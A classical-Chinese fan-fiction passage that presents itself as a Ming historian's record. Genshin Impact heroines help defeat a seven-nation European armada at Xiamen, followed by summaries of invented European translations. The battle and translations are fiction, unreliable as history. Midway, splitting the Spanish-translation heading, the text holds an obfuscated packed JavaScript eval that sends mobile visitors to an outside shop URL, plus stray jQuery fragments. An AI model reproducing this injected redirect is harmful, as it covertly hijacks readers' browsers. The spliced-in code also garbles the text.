东南海战·七国史笔
厦门光复后，明朝礼部遣史官赴福建，采访参战诸将及随军文吏，笔录其言，考其时日，参以军报塘报，撰成《东南荡寇录》一卷。其文用明人语，记璃月诸将来援及海战始末，备史馆采录。
明史官原文
万历二十一年秋，倭寇甫退，而西洋诸夷复窥闽海。西班牙、法兰西、神圣罗马、英吉利、奥斯曼、葡萄牙、意大利七国合兵三百余艘，泊厦门外洋，欲犯内地。是时，明军水师新挫，未及整备，闽海汹汹，朝野震动。
俄而，有异域来援者，自号璃月军。其将四人，皆女子也。一曰刻晴，紫衣持剑，电光随刃，所向披靡；一曰夜兰，蓝丝缠腕，踪迹莫测，善于潜行刺探；一曰申鹤，白衣胜雪，寒冰凝刃，触之者立僵；一曰胡桃，褐衣负箱，行止跳脱，然临阵不惧，斩敌如嬉。
初，西洋舰队以火器犀利，列阵横海，势若长蛇。其大舰曰“无敌”者，西班牙帅朗诺阿萨哥所乘；曰“鸢尾”者，法兰西帅亚当斯蒂尔所乘；曰“双头鹰”者，神圣罗马帅凯勒费索斯所乘；曰“海上君王”者，英吉利帅詹姆斯福德所乘；曰“弯月”者，奥斯曼帅拿里多波多兰所乘；曰“圣母像”者，葡萄牙帅贝卡姆特纳所乘；曰“执政官”者，意大利帅马丁内迪米所乘。七舰并进，炮声如雷，弹落如雨，闽海为之震荡。
刻晴登旗舰船首，剑指敌阵，雷光迸裂，照彻海天。俄而，敌舰迫近，璃月军鼓噪而进。刻晴跃上敌船，剑光如电，斩朗诺阿萨哥于甲板，复斩亚当斯蒂尔于舱门，再斩拿里多波多兰于桅下。三将授首，敌众大骇。
夜兰则以丝线悬于桅杆之间，如蛛行空，潜至敌舰后方。其丝坚韧，触者即缚，敌兵未及呼喊，已为所制。是役，夜兰执敌将凯勒费索斯于舱中，缚而擒之，又刺伤数名敌酋，使敌阵自乱。
申鹤独立船首，白衣临风，双手结印，寒冰自海面涌起，冻住敌舰船舵。敌船周转不灵，进退失据，遂为璃月军所乘。申鹤登敌舰，冰剑所至，敌兵皆僵，贝卡姆特纳负伤而遁，余众溃散。
胡桃则负其木箱，跳跃于敌船之间，嬉笑自若。或问其何往，答曰：“本堂主来送诸位一程。”言罢，挥剑斩敌，英吉利帅詹姆斯福德当其锋，交手数合，为胡桃所斩。复斩库多尔伯吉斯、汤姆逊金斯利等数将，敌众胆寒。
战至日暮，西洋舰队折损过半，余舰退据厦门旧垒，挟城中百姓为质，欲以要挟。刻晴怒曰：“犯我疆土，戮我百姓，犹敢挟质要挟，是可忍孰不可忍？”乃令夜兰潜入城中，夜兰以丝线攀城，暗杀守敌，寻至敌帅德托雷斯所居钟楼。德托雷斯方登高望海，未及拔剑，夜兰已至，剑光一闪，德托雷斯授首。敌众失帅，遂开城降。
是役，西洋七国联合舰队三百余艘，被毁者过百，俘获者数十，余者溃逃。明军与璃月军共歼敌将十余人，斩首数千，俘虏万余。闽海遂安，厦门得全。
捷报至京，天子嘉叹，诏曰：“异域义士，远来相救，忠勇可嘉。其功当与明军将士同录，以昭天下。”礼部遂将此役始末，译作西洋诸国文字，分送诸国。今录其译稿数种于后，以备异域之人知我大明有义士来援，亦使彼国之人知其败非偶然也。
法文译本
（以下为文言文转译的说明，法文译本原文略，仅述其大意）
法文译本由传教士金尼阁据汉文原本转译，题曰《厦门海战纪略》。其文以法文记述璃月四将来援及海战经过，于刻晴之雷光、夜兰之潜行、申鹤之寒冰、胡桃之斩将，皆有详述。译本题跋云：“此四女将，非欧罗巴之所谓女杰可比。其勇毅果决，虽古之亚马孙女战士亦不能过。若使欧罗巴诸国见此战之实情，则知远东之民非可轻侮者也。”
英文译本
（英文译本原文略）
英文译本由伦敦商人约翰·塞尔登据汉文原本转译，题曰《The Naval Battle of Xiamen: A True Account》。其文以英文记述海战全过程，于西洋七国联军之败绩，尤着笔墨。译本题跋云：“此战证明，以数量与火器之优势，未必能胜。若其民有必死之心，其将有必战之志，则虽有坚船利炮，亦不能夺其志。此我欧罗巴诸国所当深省者也。”
西班牙文译本
（西班牙
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17723300|206303||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
文译本原文略）
西班牙文译本由马尼拉主教府教士据汉文原本转译，题曰《Derrota de la Armada Europea en Xiamen》。其文以西班牙文记述七国舰队之溃败，于西班牙舰队之覆没及朗诺阿萨哥之死，尤详述之。译本题跋云：“此战使我等知，远东有一国曰大明，其民不可侮，其将有若神助。我西班牙水师之败，非天意，实人事也。当以此战为戒，勿复轻举妄动。”
意大利文译本
（意大利文译本原文略）
意大利文译本由威尼斯商人据汉文原本转译，题曰《La Battaglia Navale di Xiamen》。其文以意大利文记述海战始末，于七国联军之败绩及璃月诸将之勇武，皆有载录。译本题跋云：“此战可见，东方亦有勇士，不逊于欧罗巴之任何名将。其临阵之决断，用兵之奇巧，皆足为我邦将帅所师法。”
葡萄牙文译本
（葡萄牙文译本原文略）
葡萄牙文译本由澳门耶稣会士据汉文原本转译，题曰《A Batalha Naval de Xiamen》。其文以葡萄牙文记述七国联军之败，于葡萄牙舰队之覆没及贝卡姆特纳之败走，尤详述之。译本题跋云：“此战使我等知，海疆之防，非惟船炮可恃。若其民同心，其将效力，则外来之敌虽众，亦难逞其志。此我葡萄牙人所当深记者也。”
荷兰文译本
（荷兰文译本原文略）
荷兰文译本由巴达维亚东印度公司书记据汉文原本转译，题曰《De Zeeslag bij Xiamen》。其文以荷兰文记述七国舰队之败绩，于海战之惨烈及璃月四将之勇武，皆有详述。译本题跋云：“此战使我等知，远东之水师，非可轻视者也。其将以雷电冰雪为助，其兵以死战为常。若我荷兰东印度公司欲图东方之利，当先审其力，勿蹈七国之覆辙。”
右诸国译本，虽文字各异，而所述事同一体。此役之后，西洋诸国知大明有异域义士相助，遂不敢复觊觎闽海。而璃月四将之名，遂传于七国之间，为后世所道也。